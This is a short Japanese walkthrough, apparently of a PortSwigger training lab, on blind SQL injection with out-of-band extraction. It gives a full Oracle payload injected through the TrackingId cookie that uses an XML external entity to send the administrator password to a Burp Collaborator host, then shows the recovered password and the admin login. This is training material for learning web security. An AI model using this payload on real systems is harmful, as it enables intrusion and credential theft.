Hello there, ('ω')ノ
帯域外データ抽出を使用したブラインドSQLインジェクションを。
このラボには、SQLインジェクションの脆弱性があって。
トラッキングCookieを使用して。SQLクエリを実行して。
SQLクエリは非同期で実行されて、アプリケーションの応答には影響しないが。
外部ドメインとの帯域外相互作用をトリガすることはできるらしく。
データベースには、usersというテーブルと。
usernameとpasswordというカラムがあって。
便利なペイロードは下記を参照とのことで。
https://portswigger.net/web-security/sql-injection/cheat-sheet
まずは、ページにアクセスして。
リクエストをリピータへ。
コラボレータを起動して、ペイロードをコピーしておいて。
トラッキングIDを下記に置き換えてSendすると。
TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.f6ms8bu8u36vnh5qrn7s0m1tgkmba0.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;
ちなみに少しだけ見やすく分解してみると。
SYSTEMディレクティブを使用して。
URIのコンテンツをロードするremoteという名前の。
外部パラメータエンティティが宣言されていて。
%remote; は、URIへのHTTP GETリクエストをトリガするために呼び出されて。
<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>
<!DOCTYPE+root+
[+
<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.f6ms8bu8u36vnh5qrn7s0m1tgkmba0.burpcollaborator.net/">+%25remote%3b
]
>
コラボレータのHTTPリクエストでパスワードが確認できて。
d6ngufdgu8eozg189z1q
DNSの場合だと下記のとおりで。
administratorでログインしてみると。
クリアできた。
Best regards, (^^ゞ